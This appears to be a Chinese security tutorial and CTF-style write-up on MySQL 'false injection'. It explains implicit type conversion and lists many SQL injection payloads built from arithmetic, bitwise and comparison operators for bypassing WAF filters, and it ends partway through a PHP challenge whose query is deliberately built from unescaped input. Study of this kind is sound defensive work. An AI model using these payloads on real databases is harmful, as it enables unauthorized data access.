0x01 False Injection
引子
首先我们常见的注入
- 1=1
- 0<1
- ''=''
这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。
首先抛出这么一个问题
为什么username=0会导致返回数据呢?
这就是一个基于false注入的例子,下面在举一个例子
和上面是同一个表,但是为什么这里只返回了两组数据呢?说到这里不得不说一说有关于MYSQL的隐式类型转换。
MYSQL隐式类型转换
关于中是这么说的
The following rules describe how conversion occurs for comparison operations:
If one or both arguments are NULL, the result of the comparison is NULL, except for the NULL-safe equality comparison operator. For NULL <=> NULL, the result is true. No conversion is needed.
If both arguments in a comparison operation are strings, they are compared as strings.
If both arguments are integers, they are compared as integers.
Hexadecimal values are treated as binary strings if not compared to a number.
If one of the arguments is a or column and the other argument is a constant, the constant is converted to a timestamp before the comparison is performed. This is done to be more ODBC-friendly. Note that this is not done for the arguments to ! To be safe, always use complete datetime, date, or time strings when doing comparisons. For example, to achieve best results when using with date or time values, use to explicitly convert the values to the desired data type.
If one of the arguments is a decimal value, comparison depends on the other argument. The arguments are compared as decimal values if the other argument is a decimal or integer value, or as floating-point values if the other argument is a floating-point value.
In all other cases, the arguments are compared as floating-point (real) numbers.
其中大致是:
如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换
两个参数都是字符串,按照字符串比较。不做类型转换
两个参数都是整数,按照整数比较。不做类型转换
如果不与数字进行比较,则将十六进制值视为二进制字符串。
有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳
有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
所有其他情况下,两个参数都会被转换为浮点数再进行比较
最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败
在这里我试了试如果是字符串和数字比较:
可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。
现在可以很好理解开头说的为什么username=0会导致返回数据了,就是因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回0使得0=0从而为true得到结果,而后面passwd查询少一组数据的原因就是admin的passwd字段第一个字符是2 从而返回2 并非为0。
2、利用
实际中我们接触到的语句都是带有引号的,类似于where username=’+input+’ 这样的,这时候我们就需要做一些处理来构造false注入的利用点。
2.1、算术运算
加:+
- '+', 拼接的语句:where username=''+''
减:-
- '-' 拼接的语句:where username=''-''
乘:*
- '*' 拼接的语句:where username=''*''
除:/
- '/6# 拼接的语句:where username=''/6#
取余:%
- '%1# 拼接的语句:where username=''%1#
2.2、 位操作运算
我们可以使用当字符串和数字运算的时候类型转换的问题进行利用
我们可以用的位运算符有:
和运算:&
- '&0# 拼接的语句:where username=''&0#'
或运算:|
- '|0# 拼接的语句:where username=''|0#'
异或运算:^
- '^0# 拼接的语句:where username=''^0#'
移位操作:
- '<<0# '>>0#
位非(~):这里位非运算符由于是在表达式之前的
2.3、 比较运算符
安全等于:<=>
- '=0<=>1# 拼接的语句:where username=''=0<=>1#'
不等于<>(!=)
- '=0<>0# 拼接的语句:where username=''=0<>0#'
大小于>或<
- '>-1# 拼接的语句:where username=''>-1#
2.4、 其他
- '+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1
3、综合利用
false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。
这里举例一道题
- <?php include("config.php"); $conn ->query("set names utf8"); function randStr($lenth=32){ $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; $str = ""; while($lenth>0){ $str.=substr($strBase,rand(0,strlen($strBase)-1),1); $lenth --; } return $str; } if($install){ $sql = "create table `user` ( `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , `username` varchar(30) NOT NULL, `passwd` varchar(32) NOT NULL, `role` varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; if($conn->query($sql)){ $sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')"; $conn -> query($sql); } } function filter($str){ $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){ die("you can't input this illegal char!"); } return $str; } function show($username){ global $conn; $sql = "select role from `user` where username ='".$username."'"; $res = $conn